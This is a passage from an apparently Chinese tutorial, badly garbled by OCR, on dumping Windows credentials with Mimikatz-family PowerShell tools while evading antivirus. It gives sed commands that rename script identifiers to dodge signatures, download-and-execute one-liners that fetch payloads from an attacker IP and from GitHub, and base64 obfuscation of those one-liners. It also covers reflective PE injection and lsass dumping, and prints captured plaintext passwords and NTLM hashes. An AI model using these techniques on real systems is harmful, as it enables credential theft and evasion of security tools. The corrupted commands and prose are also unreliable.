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# wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1l
# cp Invoke-Mimikatz.psl Invoke-Mimikatz.psl.bak

# sed -i -e 's/Invoke-Mimikatz/Readme/g' Invoke-Mimikatz.psl

# sed -i -e "/<#/,/#>/c\\' Invoke-Mimikatz.psl

# sed -1 -e 's/"[[:space:]]*#.*$//g"' Invoke-Mimikatz.psl

# sed -i -e 's/DumpCreds/Gethash/g' Invoke-Mimikatz.psl

# sed -i -e 's/ArgumentPtr/BirdIsTheWord/g' Invoke-Mimikatz.psl

# sed -i -e 's/CallDllMainSCl/UnceUnceUnce/g"' Invoke-Mimikatz.psl

# sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g" Invoke-Mimikatz.psl

# mv Invoke-Mimikatz.psl Readme.psl

- @
~fWin-Dumphash => cp Invoke-Mimikatz.ps1l Invoke-Mimikatz.psi.bak

-=
~/Win-Dumphash sed -1 -e 's/Invoke-Mimikatz/Readme/g' Invoke-Mimikatz.psi

-=

~/Win-Dumphash sed -1 -e '"/<#/,/#=/c\\' Invoke-Mimikatz.psi

-=

~fWin-Dumphash : i 's/A[[:space:]]*#.%*5//g9' Invoke-Mimikatz.psi

-=

~/HWin-Dumphash ' i 's /DumpCreds/Gethash/g' Invoke-Mimikatz.psi1

-=

~fWin-Dumphash = @ i -e 's/ArgumentPtr/BirdIsTheWord/g' Invoke-Mimikatz.psi

-=

~/HWin-Dumphash sed -1 -e 's/CallDl1lMainSC1/UncelUnceUnce/g' Invoke-Mimikatz.psi

-=

~/Hin-Dumphash sed -i "s/\-Win32Functions \$Win32FunctionsS$/\-Win32Functions \S$Win32Functions #\-/g9" Invoke-Mimikatz.ps1

-
~fWin-Dumphash mv Invoke-Mimikatz.ps1l Readme.psi
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[CmdletBinding (DefaultParameterSetName="Gaethash") ]
Param(

[Parameter (Position = 0)]

[String[]]
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[Parameter (ParameterSetName Gethash", Position = 1)]
[Switch]
$Gethash,
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[Parameter (ParameterSetName = "DumpCerts", Position = 1)]
[Switch]
$DumpCerts,
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[Parameter (ParameterSetName = "CustomCommand", Position = 1)]
[String]
$Command
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Host File : 2

Host a file through Cobalt Strike's web server

ER T KB REE A 5N, RN E AL 12

File: |erDtMin-DumphashfF{eadme.pal

|

SuUccess 2
Local Host: _ l
|

Started service: host file
Copy and paste this URL to access it

Local Port: |ECI

Mirme Type: Iautamatic - thttp . R - cadme jpg. |
[ Launch H Help l Ok

LB, FANBT ML /ERY Invoke-Mimikatz. psl IR 7E B #r/las IR ANEINAAS, a0, THEIESE

# powershell "IEX (New-Object Net.WebClient).DownloadString('http://82.3.45.14:80/Readme.jpg'); $m=Readme -Gethash; $m"



mﬁﬂﬁ C:'\Windowsisystem3Zicnd. exe

c:\>powershell "IEX

$m”
Hostname: TIST!

mimikatz 2.1.1 (x64) built on Nov 12 2017 1
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> http://pingcastle. com /

mimikatz (powershell)

Authentication Id :
Session
User Name
Domain
Logon Server
Logon Time
SID
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sername

(New—0Object Net.We

9683751221781

'_|.

0 : 996 (00000000:000003e4)
: Service from 0

TIS75—CN3$

: WORKGROUP

(null)

- 2018/12/18 9:35:41

TIST5—CNS$
: WORKGROUP
(null)

> 11s7b—cnd
: WORKGROUP
(null)

Interactive from 1

Client).DownloadString ( http://

2913-4161748928

( benjamin@gentilkiwi. com )
> http://blog. gentilkiwi. com/mimikatz
Vincent LE TOUX ( vincent. letoux@gmail. com )

http://myvsmartlogon. com

# sekurlsa::logonpasswords

33969 (00000000:00020b51)
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CrBEME&E: C:\Windowsisystem32icmd. exe . .
c:\>powershell - exec bypass - Command “& {Import-Module C:\Tools\Readme.psl ;$Sm=Readme —Gethash; S$m;~
Hostname: IIS7T5—CN / S—-1-5—21-3796837512-2178132913-4161748928

mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00

"A La Vie, A L’ Amour” — (oe.eo0)

/%¥%% Benjamin DELPY gentilkiwi ( benjamin@gentilkiwi.com )
> http://blog. gentilkiwi. com/mimikatz
Vincent LE TOUX ( vincent. letoux@gmail. com )

> http://pingcastle. com / http://mysmartlogon. com %/
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mimikatz (powershell) # sekurlsa::logonpasswords

Authentication Id : 0 : 996 (00000000:000003e4)
. Service from 0
. TISTH—CN§
: WORKGROUP
: (null)
: 2018/12/18 9:35:41

tspkg

wdigest :
* Username : IIST5—CN$
* Domain : WORKGROUP
' (null)

1iis75—cn$
: WORKGROUP
(null)

credman
Authentication Id : 0 : 133969 (00000000:00020b51)

Session . Interactive from 1
Iser Name : Administrator

ox02 ZiXEwBEHIT

FHEB AR EFEENITH ps 18 base6d — T, RIGERILENABTFRIEEXFH, AT

PS C:\> $text = "IEX (New-Object Net.WebClient).DownloadString('http://82.3.45.14:80/Readme.jpg'); Readme -Gethash"
PS C:\> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
PS C:\> $EncodedText =[Convert]::ToBase64String($Bytes)

PS C:\> $EncodedText > bs64.txt

GrBEMEG: C:\Tindows\system32icmd. exe — powershell -—exec bypass
c:\>powershell —exec bypass

Windows PowerShell

AL EFE (C) 2009 Microsoft Corporation. f=EHETHETLF .

i,
%)

\> $text = "IEX (New-Object Net.WebClient).DownloadString (" GG - doe. jpg’ ) ; Readme —Gethash”

!
(]

\> $Bytes = [System. Text. Encoding]::Unicode. GetBytes (§Text)
\> $EncodedText =[Convert]::ToBase64String($Bvtes)
\> $EncodedText > bs64. txt
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SAIE, B2 B4ML3 L5 L -encodedcommand AT EEAREL basesd, HIL, XATFERMAHRWR, RATESLIRFIRTRE base6s MR, LM, AE—MOHEHEFNARL url 7, HiEsae 7,4
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# powershell -exec bypass -encodedcommand base64encode



E‘hﬂﬁ C:'\Windowsisystem3Zicad exe

C:\>powershell —exec bypass —encodedcommand SQBFAFgATAA0AE4AZQB3ACOATWBiAGoAZQB jAHQATABOAGUAdAAUAFcAZQBiAEMAbABpAGUADbgB
ACkALgBEAGSAdwBuAGw A =
AGQAbQOB1AC4AagBwAGCcATwApADSATABSAGUAYQBKAGOAZQAgACOARWBI AHQAaABhAHMAaAA=

Hostname: IIS75-CN / S-1-5-21-3796837512-2178132913-4161748928

mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00
“A La Vie, A L Amour” — (oe.eo)
/#*%% Benjamin DELPY gentilkiwi ( benjamin@gentilkiwi.com )

> http://blog. gentilkiwi. com/mimikatz
Vincent LE TOUX ( vincent. letoux@gmail. com )
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> http://pingcastle. com / http://mysmartlogon. com  #k*/
mimikatz (powershell) # sekurlsa::logonpasswords
Authentication Id : 0 : 996 (00000000:000003e4)

Session : Serviece from 0
User Name : IIST5CN$

Domain . WORKGROUP
Logon Server :

Logon Time

SID

msv

tspkg

wdigest :
* Username : IIST5—CN3$
* Domain - WORKGROUP
* Password : (null)
kerberos :

* Username . 11s75—cn$
* Domain . WORKGROUP
* Password : (null)
SSp -

credman

Authentication Id :
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T, BiEAE B ilar LT R RETINE R FTAR mimikatz, BUR BARAIRRRE L5 W, XA 20, X T ER N RELEREKH, EREZE W, BEX T nod32, 8%, FE. . . XFRAZBR B HEY, HAKRFHIEETIAN
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# powershell.exe -exec bypass TEX (New-Object Net.WebClient).DownloadString('http://*/Invoke-ReflectivePEInjection.psl');Invoke-ReflectivePEInjection -PEUrl

http://*/mimikatz.exe -ExeArgs "sekurlsa::logonpasswords" -ForceASLR

' BElER: SSETRE
Authentication Id : 0 : 1311500 (00000000:0014030c)
session . Interactive from 1
User Name : %dmini:trator
Domain O WY i §
Logon Server
Logon Time x 8. 18 2
=1 i G e BTQb%BTilj—Jer13JG1J 4161748928-500
msv :
[00010000] fredentialﬁe;:
* NTLM o 4852¢ ( 34feT
* SHA1 : JWdlaﬂ c(09f4ee982 (7d472a9
[00000003] Pllmdl\

% Username : Administrator

* Domain - IIST5—CN
* NTLM : ccef?ﬁqcfiﬁﬁﬁﬂt :
* SHA1 3
tspkg
wdigest :
* Username : Administrator
* Domain = 1ISTS N
* Password : Adminl2345
kerberos :
* Username : Administrator
# Domain = IIST5CN
* Password : (null)
SSp -

credman

&7 Invoke-ReflectivePEInjection.psl BIA, BIMEE —FEMB LR T E, SafetyKatz.exe, E2E@BIT R L api dump 4 lsass.exe HREIE, AESEF A pe MNE mimikatz B R FEPFHTIEE, —
B AR G ASEAR, nod32 ERTER, EERMNE 7, NIZBmRIRT

# SafetyKatz.exe



(es[El) SMART SECURITY - X

i
c
@

»

+m
HENEE e e
B f

TH -Z::,—;; Ef; ”ILSIJL 12:22:59
wE

HBEA= I

|

Session . Interactive from 1
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: PC-Win7CN
Logon Server : PC-WINTCN
Logon Time : 2018/12/19
SID
msv :
[00010000]
* NTLM
* SHAL
[00000003]
* Username :
* Domain : PC-Win7CN
* NTLM : c6174dad490caebd22f3fabaT7acb34
* SHAL : 7c87541fd3f3ef5016e12d411900c87a6046a8e8
tspkg
wdigest :
* Username :
* Domain : PC-Win7CN
* Password : admin
kerberos :
* Username . mary
* Domain . PC—Win7CN
* Password : (null)

ox04 X FHEM—L hash JEEHIZA
Get-PassHashes.psl [#&f} meterpreter iy hashdump JRE], SEFREV R RIURIEANEE, N T, B & BRI L 2R INEI hash, B 5 #4= powershell.exe #iE [MRANRTER AL REKH]

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/klionsec/CommonTools/master/Get-PassHashes.psl'); $m=Get-PassHashes; $m"

| BEMEG: C:\Tindowshsystem32Zhcmd. exe

\>powershell “IEX (New-Object Net.WebClient).DownloadString (" https://raw. githubusercontent. com/klionsec/CommonTools/ma
ster/Get-PassHashes. psl’ ) ; $m=Get-PassHashes; $m”
Administrator:500:aad3b435b51404eeaad3b435bo1404ee: ccef208c6485269¢20db2cad21734feT:

59d7e0c089c0: : :
devadmin:1000:aad3b435b51404eeaad3b435bol404ee: ccef208¢c6485269¢20db2cad21734feT:
tecadmin: 1001 :aad3b435b51404eeaad3b435b51404ee: d9ael0ddba 0f534ed4e8158a0ffa: ::
webadmin: 1002 :aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d4b5¢: :

FACR AR B irtlsa At , R =R B 7 B irtlss ARt hash, WX L&, 2018, IAB F W R
# powershell -exec bypass -Command "& {Import-Module 'C:\Windows\Temp\Get-PassHashes.psl';$m=Get-PassHashes; $m}"

EEH;"{ C:\TindowsizystenIZicad. exe

ss —Command “& {Import-Module ’C:\W s\Temp\Get-PassHashes. ps1’ ; $m=Get-PassHashes; $m}”

20db2cad21734fe7: : :

ad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢c0: : :
devadmin:1000:aad3b435b51404eeaad3b435b51404ee: ccef208¢c i1 21734fe7:::
tecadmin:1001:aad3b435b51404eeaad3b435bo1404ee: d9ael10d4bag: 8158a0ffa:::
webadmin: 1002 :aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d4b5¢: : :




Invoke-PowerDump.psl A, MEMFRFERER, ANECHIEAR, B RXMNRENET [KRANXRTERARNFEL XK ]

E hash _res. txtEd

1 Pdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0dl6ae931b73c59d7e0c089c0: ¢

[~

Guest:501:a2ad3b435b51404ecaad3bd35b51404ee:31docfeldl1 6ae931b73c59d7e0c089c0:

&
4
<]
b
A

mary:1000:2ad3b435b51404eeaad3bd3bbb1404ee:209c6174dad%0caebd22f3fabalaeb34:::
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